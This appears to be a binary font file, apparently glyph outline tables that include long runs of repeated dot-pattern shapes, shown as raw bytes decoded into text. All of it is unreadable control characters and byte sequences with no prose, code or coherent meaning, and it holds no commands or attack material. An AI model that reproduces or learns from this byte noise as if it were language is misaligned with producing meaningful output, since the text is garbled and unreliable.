�N���{{� : �{{��%�t��;t�.;%���t�7��)!c��",�7��I�
)!	c��",X���*�5�9������7d�	#!�����",�}��4
W�3		!V��<s'����������?�3��_�3v�4��3		!V��<�������?��_v�7-�!!!!!!!!Y��,^<2<��<2<�<2<��<2<�+���2��2����3��3�����'2"&6>."26$ $&6$ |zHjzH�m&)e����m&)e���$�������C>��8:�C�YzYYz�����~LL~���~LL���{{� : �{{��5x�676&#"#!63 6�!����"��s�7I�<vX���������75�3!	!3Z��������"���+�>�$�����6."26!&'&6$ �%VrlK%Vrl��f��f�C-6��\6�ra88ara88f�:��:�v뉉��5��2$76& #!6Uu�ƘTQ3���kqD��"���|~������i$���R���			��^������!�L�������^^���n�%!%n������g����|�H�4c�!!���fi��",g�������"����	%			'N�����D�����W���������������%)7&'&7676?!67>'&+���p�11蟵,�p�11蟵�l?9t/Q*�l?9t/Q*�&|����{'��&|����{':.-Z�Z-��-Z�Z-���)7!j�Ԇ��JJ,J��n�f}����������6&"2 7& $6&"2�G|iG|>�M����MŒM<t�M��G|iG|9|XX|X�r���������r�|XX|X5��!!63$676&�$����k��"��%{z�Q��������������QO�9�� �%"'0! %676& &����|",k9�J������������OQ�G��!!!G:�t,���tU,T�+U���2"&6%	zzHjzH�+�����YzYYz��}u��su����7��������		'�D����?�f��us��u}��"�����f}�	!f�������Թ�*����5��v����!5!5!)5!���S2S����R���������=�'��]jC���7�'kF��X���:�
'j:�b���;�
'�bk<���=�
'�b��]����H'j'j�&jj�����H&k'j'j�j�����H'j'j�'j��� ����H'k�'j&jj�����H&k'j'j�k�����H'�� 'j�'jk�����H'j'j�&��j����H'j'j�&��k����H&��'j�'j�� ����H'j�&j'j�k����H&k'j�'j�k����H'k'j�'j��� ����H'j�'k'k�j����H'k�'k'j�k����H'j�'k'k��� ����H&j'k'j�������H'k'j�&k������H'�� 'k'j�������H'j�&j'j�� ����H'� 'j�'j�k����H'j�'j�'� �� ����H'� &j'j�k�����H'k�'j�&k� ����H'k�'j�'�� � ����H&j&��'j�� ����H&k&��'j�� ����H'�� 'j�&��� ����H&j'j�'jk�����H'j�'j&kk�����H'�� 'j�'jk�����H&j'j'k�k�����H'k�'j&kk�����H'k�'j'�� k�����H&j&��'jk�����H&k&��'jk�����H'�� 'j&��k�����H'k'j�&jk�����H'k'j�&kk�����H'�� 'j�'kk�����H&j'k�'kk�����H&k'k'k�k�����H'�� 'k�'kk�����H&��'k&jk�����H&��&k'kk�����H&��'k'�� k�����H'� 'j�&jk�����H&k'j�'� k�����H'�� '� 'j�k�����H'k�&j'� k�����H'� &k'k�k�����H'� '�� 'k�k�����H'� &��&jk�����H'� &��&kk�����H'� &��'�� k�����H'j'j�&j������H&k'j'j�������H'j'j�'�� ������H'k�'j&j������H&k'j'k�������H'�� 'j'k�������H'j&��&j������H'j&��&k������H&��'j'�� ������H&j'j�'k������H&k'j�'k������H'k'j�'�� ������H'k'k�&j������H'k�'k&k������H'k'k�'�� ������H&j'k&��������H'k&k&��������H'�� 'k&��������H&j'j�'� ������H'� 'j�&k������H'j�'� '�� ������H'� &j'k�������H'k�&k'� ������H'k�'�� '� ������H&j&��'� ������H&k&��'� ������H'�� &��'� ���	3	!#!!���"���\�x�w9�:�4]����x�i�+���"+33%! )327&#'327&+67654'&676'&4���`7fa|����c��F<<F��F<<F��T1WW1K0aa0]��x��m�%$���\x��$4~�:"����#F6F#�9�! )327&#!36'��TMwiffix�����j�������'�����ate������eta]�6z5���]Z����3%!!!!!!���2�rg�����]��xx��x��x���
3%!!!!!���2�rg���\]��xx��x�2f����'&#"32767!5!# !2&�|�ԙ�Ƙ�id� X��ʥ���L���yv�m��^E�iA )	x�2FF�ei�87�R�����έ�!�!#3!53#!#3��xx�lxx����x�xx����f`�
6765%!!#5327654J1p������q<x=>]��SC. -f��x�����xCC����#3!3	#贴���&�r���]�x��o�@���;��	%3#'!!!4��x����x�x��x���!#!!	!3!3�_G�b�\�}�Դ�!�]��>����+]���f��f�%% 7& 676'& ! K{@{{��{}��L���Lh��h�����g��43�34�����Ь���01��d�����d�jk����-�@654&/&'&54.#"!"$'532654&/.54$!2~sLL���;;��Ѥ�:'R{�h��Zt����ӎ�⏏|~�Z���� {�U�x]\3(5TU�Q:O舼3(1kH�5DD]b{T(<����65�[\e]�Z%(=����%%
��!!!)#3
���\����x��]������#%&5#676#!3265!! 6�~-�?-~���r�p����������l������x**x	�V��޹���"�����6=
�
%!	!	3!��0��������Xx�]�A��+=h�%#!#	!	!	3!	!���*�5��*�>��{���Y���Zx��]��=��=�+o��2@�%#!	#	!	3U�y����(�����������6x�x��z[�������!	3!3#����\x�����
��u���X��{#,4%34'&'!5#"&54$!354&#"5>3 5#"676Դd+H#,�\H����"ӆ�s�Uz�z@�\�G;�q:�4C*SH0x�T%<N���f]ˢŸ�UO..��8��H��9�C-[��I
#%27&#"'!!>32#"&36a�����\�J�t�
���u������[�����G���b]������\]��$�?��hDGX��6{ .#"3267# !26]�Mx]]xL�\T�W���V/X�U�\ ���%!��!%�7*7�lz��y[��I
#%267.#"%#"32!!#3C����{J�u��
�t�J��\,���Ŵ�[�����\Gc\II]bX�����ce����hX��
{ %# ! !32%!&'&#"�����K"=��Zr�����x~i~�fD015:���9�|c�|����w<���k/847&3#"!!!#5354763C�,3�-��:9��|�\��WX���[5>|���x97�Fx�$�xZ�TV\�FJy
(4<6765#'!!"'&'5326=#"54323276'&#"2	
B1��x�����ogkf^�[��J�u���u�J�e�bjjb�w/'jj'�a'j�wx����!�65���b\C��A\c��v���u��3.��b�/nN%)!4&'.#"!!>32%34'&'3�
H.p��\�W�v��ԴMB�	
�Ĵn�n#'���u��b]��Vx2�TH%!A1�.��$�13%!!!!�����\h���px�������F16765#!+73265!!�Z4M�x����>fKh����9U���G����s\�<����3!!3	#$�x�\�t�HѼ�g���$�d�u����(��%&5#3#"&5�'�N3�Lf���T�
�2�U9��~�\s��Fn�{!M334'&'34'&'4&'.#"!!>3267>32!4&'.#"���MB�	
<�MB�	
�L
H.p��\�W�v�m0W�v��\
H.p��p��2�TH%!A1��
2�TH%!A1���n�n#'���u`�b]w5J b]��Vn�n#'���unN{%)!4&'.#"!!>32%34'&'3�
H.p��\�W�v��ԴMB�	
�Ĵn�n#'���u`�b]��Vx2�TH%!A1�z��pX��'{	# ! 327&#"676'&�!E������G$~~�RgeQQegR�%~~{����8(8�(x�>xH|1��x�x[�VI{
#"327&>32#"&'!!3#6'a������J�u�
���t�J�\��Դ�;�������Gc\������]b���p��eGDh\�VH{
%"3267.05!!#"32#0D������^J�t��
�u�t��y��\����G���Lb]II\�����Xi�����*{3.#"!!>32$�R/]/���\�E�}*(�p-���p`�nej��b{B>54&/&'&5432654'&/&'&54632.#"!"&'7U��?~3k>5�>|4b�k�tij$%m?�c`�cڀs�_fcKa?^_����o�}�2��	&:�/*[E��%
&Es%�->?FD:	"daƲ� �::=@47
,_`γ�##7��
#&'4'!!;!"&5#53�?2j$x{��Ks��Xբ��&�K�#D\O��x�s�Nx��kxJd��D`%)3265!!5#"&5#&'&'&'&5#
H.p���\W�v��,�MB�	
<�`���n#'������b]���x�εTH%!A1���p���`
%#	!	3!���Z����m��xp�����H�`#3#3!!3!!����'�������y�����������p���������(\`	3%!	3	!	#���\�d������(���^�px��e�9�ge����F`6?'#%3+532767!�

D1����)H]_���q>

���k|!�qx�6�JJx1
Y��\�`
#3!!!5!����
��N��N����x��xxp���{��$��+��%��J����&��+J�'��+\�(��+\�)��J��9�*��+��+����'������f��-��+��.��+��/��+��0��+��1��J����2��+��3��J����4��+{�5����R�6��b��7�����T�8�����9���	%�:�����;���y�<������=��#���{D��?��jE��L���{F��J���G��J��{H��fRI��)�FuyJ��?;K��?�L�����F�M��?�N������?�{P��?;{Q��J��5{R����Vj{S��J�Vu{T��?\{U����{{V��X�W��{��s`X���m`Y���j`Z����^`[���F`\�����`]���{��'��+��(��+r�)���y��*��+\�+������,��+��-��Q��{�.��+��/��+��0���y��1��+��2��+��3��8��4��J����5��+��6��+��7��J�������+\�8��b��9���y�:��Ys�;�����<�����=����~�>���!!!����5���|�+�����N���yF����VG0G����V�`H�� ��$I��7��({J��A�VK��f�VP{L��:��E$M��W���`N��?o`O����<P����T\`Q���9`R��6�VS��J��5{T�����L`U���V�~V��p�V�{W��K��@`X��j��V`Y��o��(`Z����Vj[�����V�`\����Va`]��D���`^��;��e�������{���^���$f��'���`���z�V�j��f�F�{���D��.`kb��/�'%'&'676! ! &#"32�0&��&1�&00&�x������@'&@�/DQRDDRQ��"/������/!J�/"�y"/�I���m�st��m���	���%3#!5%!!!r���6R��[�T��x��HxH��x���%%367654'&'"5$ %!5654&5�<|>Ic6\D%$XŹ��SB��-���yx��t�Y�]3n��eclԵ�c���w�|���
��w���������!&.!"'5327&#!5!27&#"563 65467>4&��4������%��tU04��80,C[�� ��D�Ϲ�&d8Xq��EP����J~D{x<	}@��+E������
Dt��\3�	!#3!3#!!5���,�������\����/6�]�Rx�Q������# !!63  '527&'#6676'&������!#0��������W�?0mm0�]Hx���^�V�Y0�k��{��'W-W&��#� )632# !2'& 676'&'&#"2PYk������uEʾ&�������7-xi/D}!mVH�N�p��7�����@
:j����X�)oac.��!�0��
	3%!!!�����y��>+�Q]��xx��]}���'/8BJ.54$! ! $546'&'67%6764'&'&#"27&#"32%�����������כ�m,CD,��d#44#D5#dd#�7AC87�89BA79BA��D,lm,)���ž�)*�����ސ��FQ!��">�F�)�$F�F(������}V"Q��S!n��� )%#"3 !"'5 76'%327&"AYk���:�4?����ʾ&�:���	7-xi/D}!mVH����!�v�&�Y@
:j���)o��c.�!��F
!;3#!.����	Y_�$���F
!;7!'!%3�	Y���ٍF����%��=�F
!;"4767632"'&'&!'!%30&$I��	Y���ٍ�$$%������%��=�F
!;,048"'&'&4767632"'&'&4767632!'!%3�$$%��$%$�	Y���ٍ?H%$HG������%��=�F
!;+AEIM"'&'&4767632"'&'&476762"'&'&4767632!'!%3�$$%��$H��$%$�	Y���ٍ?H%$	JHHG������%��=�F
!;+AW[_c476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3'H$%$%H��H$%$%H��	Y���ٍ�$J��J%$J%$S$J������%��=�F
!;+AWnrvz476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3'H$%$%H��H$%$%H��&$I��	Y���ٍ�$J��J%$J%$S$J�$$%������%��=	�F
!;*@Ui���"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�$H%$H��J&$UJHJH�~J&$�	Y���ٍRHJ��%$HG$$%$H��GH%$H������%��=�F
!;!476762"'&'&!'!%3�JH��	Y���ٍ�$$%������%��=�F
!;,048476762"'&'&%4767632"'&'&!'!%3�JHd&$I��	Y���ٍ�$$%%$$%������%��=�F
!;,BFJN476762"'&'&"'&'&4767632"'&'&4767632!'!%3�JH�$$%��$%$�	Y���ٍ�$$%��H%$HG������%��=�F
!;,AW[_c476762"'&'&"'&'&4767632"'&'&476762"'&'&4767632!'!%3�JH�$$%��$H��$%$�	Y���ٍ�$$%��H%$	JHHG������%��=�F
!;+AWmquy476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��	Y���ٍ�$$%.$J��J%$J%$S$J������%��=	�F
!;+AWm����476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��&$I��	Y���ٍ�$$%.$J��J%$J%$S$J�$$%������%��=
�F
!;*@Vk����476762"'&'&%"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�JH�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�$$%�HJ��%$HG$$%$H��GH%$H������%��=�F
!;+/37"'&'&4767632"'&'&5476762!'!%3rJ%$��$J�m	Y���ٍ@H$%$%H������%��=�F
!;"8N4767632"'&'&!'!%3"'&'&4767632"'&'&54767620&$I��	Y���ٍ��J%$��$J�$$%������%��=H$%$%H�F
!;,048Nd"'&'&4767632"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$%$�	Y���ٍ��J%$��$J?H%$HG������%��=H$%$%H�F
!;+AEIMcy"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$H��$%$�	Y���ٍ��J%$��$J?H%$	JHHG������%��=H$%$%H	�F
!;)>SW[_t�476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3"'&'&4767632"'&'&476762'HIIH��HIIH��	Y���ٍ��I%$��$I�$I��I%$I%$S$I������%��=HIIH
�F
!;+AWnrvz��476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&4767632"'&'&5476762'H$%$%H��H$%$%H��&$I��	Y���ٍ��J%$��$J�$J��J%$J%$S$J�$$%������%��=H$%$%H�F
!;*@Ui�����"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&4767632"'&'&5476762�$H%$H��J&$UJHJH�~J&$�	Y���ٍ��J%$��$JRHJ��%$HG$$%$H��GH%$H������%��=H$%$%H�F
!;+AEIM"'&'&4767632%"'&'&4767632"'&'&5476762!'!%3rJ%$��$$%��$J�m	Y���ٍ@H$%�JI	$%H������%��=�F
!;+AX\`d"'&'&4767632%"'&'&4767632"'&'&54767624767632"'&'&!'!%3rJ%$��$$%��$J�&$I��	Y���ٍ@H$%�JI	$%H�$$%������%��=�F
!;+AXnrvz"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$%$�	Y���ٍ@H$%�JI	$%H��H%$HG������%��=	�F
!;+AXm����"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&476762"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$H��$%$�	Y���ٍ@H$%�JI	$%H��H%$	JHHG������%��=
�F
!;+AWm�����"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J������%��=�F
!;+AWm������"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��&$I��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�F
!;+AVl�������"'&'&4767632%"'&'&4767632"'&'&5476762!"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3rJ%$��$$%��$JI$H%$H��J&$UJHJH�~J&$�	Y���ٍ@H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�F
!;)>SW[_476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3�HIIH��HIIH��	Y���ٍ�$I��I%$I%$S$I������%��=�F
!;!6K`u4767632"'&'&!'!%3476762"'&'&476762"'&'$476762"'&'476762"'&'&0&$I��	Y���ٍ�HIIH��HIIH�$I������%��=m$I��I%$I%$S$I	�F
!;,048Ndz�"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$HG������%��=m$J��J%$J%$S$J
�F
!;+AEIMcy��"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$	JHHG������%��=m$J��J%$J%$S$J�F
!;+AW[_cy���476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�F
!;+AWnrvz����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J
�F
!;*@Ui�������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%HRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�F
!;!7Mcy7!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�	Y���ٍ�H$%$%H��H$%$%H��JHF����%��=m$J��J%$J%$S$J�$$%	�F
!;"8Ndz�4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&0&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$$%������%��=m$J��J%$J%$S$J�$$%
�F
!;,048Ndz��"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$HG������%��=m$J��J%$J%$S$J�$$%�F
!;+AEIMcy���"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$	JHHG������%��=m$J��J%$J%$S$J�$$%�F
!;+AW[_cy����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%
�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%H��JHRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%	�F
!;":Pf|�7!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$F����%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;"9Qg}��4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&547676320&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;,048Og}���"'&'&4767632"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AEIMd|����"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$H��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;+AW[_cz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&5476762"'&'&5476762 "'&'&4767632"'&'.76762"'&'.76762"'&'&4767632�$H%$H��I&$UIHIH�}I&$�	Y���ٍ��$I%$I��I%$0$H%$H��I%$RHI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH��m!5!!��$����f����m!!7!!!!�����%��=m���?�'���m"2#"'&'&47676!!7!!!!E$$%������%��=&$Ih���?�'���m+/37476762#"'&'&476762"'&'&!!7!!!!�H%$HG������%��=|$I;$%$����?�'���m+AEIM476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H%$	JHHG������%��=|$$%2$H.$%$����?�'���m+AW[_c2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!N$J��J%$J%$S$J������%��=H$%��$%H"H$%��$%Hq���?�'���m+AWnrvz2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!N$J��J%$J%$S$J�$$%������%��=H$%��$%H"H$%��$%H	&$Ih���?�'�	��m*@Ui���%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�HJ��%$HG$$%$H��GH%$H������%��=�$H%$H3J&$��JHJH�J&$��?�'���m!2#"'&'&47676!!7!!!!E$$%������%��=kJH���?�'���m,0482#"'&'&476762#"'&'&47676!!7!!!!E$$%%$$%������%��=iJH��&$Ih���?�'���m,BFJN2#"'&'&47676476762#"'&'&476762"'&'&!!7!!!!E$$%��H%$HG������%��=kJH�$$%;$%$����?�'���m,AW[_c2#"'&'&47676476762#"'&'&476762"'&'&476762"'&'&!!7!!!!E$$%��H%$	JHHG������%��=kJH�$$%2$H.$%$����?�'���m+AWmquy2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J������%��=kJH��H$%��$%H"H$%��$%Hq���?�'�	��m+AWm����2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J�$$%������%��=kJH��H$%��$%H"H$%��$%H	&$Ih���?�'�
��m*@Vk����2#"'&'&47676476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!E$$%�HJ��%$HG$$%$H��GH%$H������%��=kJH�&$H%$H3J&$��JHJH�J&$��?�'���m+/37476762#"'&'4767632"'&'&!!7!!!!�H$%$%H������%��=�J%$S$J����?�'���m"8N2#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&E$$%������%��=H$%$%H&$Ih���?�'�IJ%$S$J��m,048Nd476762#"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$HG������%��=H$%$%H|$$%;$%$����?�'�IJ%$S$J��m+AEIMcy476762#"'&'&476762"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$	JHHG������%��=H$%$%H|$$%2$H.$%$����?�'�IJ%$S$J	��m+AW[_cy�2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J������%��=H$%$%HH$%��$%H"H$%��$%Hq���?�'�IJ%$S$J
��m+AWnrvz��2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J�$$%������%��=H$%$%HH$%��$%H"H$%��$%H	&$Ih���?�'�IJ%$S$J��m*@Ui�����%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!476762#"'&'4767632"'&'&�HJ��%$HG$$%$H��GH%$H������%��=H$%$%H�$H%$H3J&$��JHJH�J&$��?�'�IJ%$S$J��m+AEIM476762#"'&'476762"'&'&4767632"'&'&!!7!!!!�H$%�JI	$%H������%��=�J%$J$$%.$J����?�'���m+AX\`d476762#"'&'476762"'&'&4767632"'&'&2#"'&'&47676!!7!!!!�H$%�JI	$%H�$$%������%��=�J%$J$$%.$J�+&$Ih���?�'���m+AXnrvz476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$HG������%��=�J%$J$$%.$J��$$%;$%$����?�'�	��m+AXm����476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$	JHHG������%��=�J%$J$$%.$J��$$%2$H.$%$����?�'�
��m+AWm�����476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%Hq���?�'���m+AWm������476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%H	&$Ih���?�'���m+AVl�������476762#"'&'476762"'&'&4767632"'&'&476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�J%$J$$%.$J��$H%$H3J&$��JHJH�J&$��?�'���m)>SW[_2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676!!7!!!!N$I��I%$I%$S$I������%��=tHI��IH"HI��IH���?�'���m!6K`u2"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676E$I������%��=m$I��I%$I%$S$I&$Ih���?�'��HI��IH"HI��IH	��m,048Ndz�476762#"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$HG������%��=m$J��J%$J%$S$J|$$%;$%$����?�'��H$%��$%H"H$%��$%H
��m+AEIMcy��476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H��m+AW[_cy���2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$JH$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H��m)>Simqu����2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676N$I��I%$I%$S$I�$I������%��=m$I��I%$I%$S$IHI��IH"HI��IH	&$Ih���?�'��HI��IH"HI��IH
��m*@Ui�������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H��m!7Mcy!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�����%��=m$J��J%$J%$S$J�$$%m���?�'��H$%��$%H"H$%��$%H	JH	��m"8Ndz�2#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676E$$%������%��=m$J��J%$J%$S$J�$$%&$Ih���?�'��H$%��$%H"H$%��$%H	JH
��m+/37Lav��476762#"'&'&476762"'&'&!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676�H%$HG������%��=m$I��I%$I%$S$I�$I|$I;$%$����?�'��HI��IH"HI��IH	JH��m+AEIMcy���476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J�$$%|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H	JH��m+AW[_cy����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H	JH
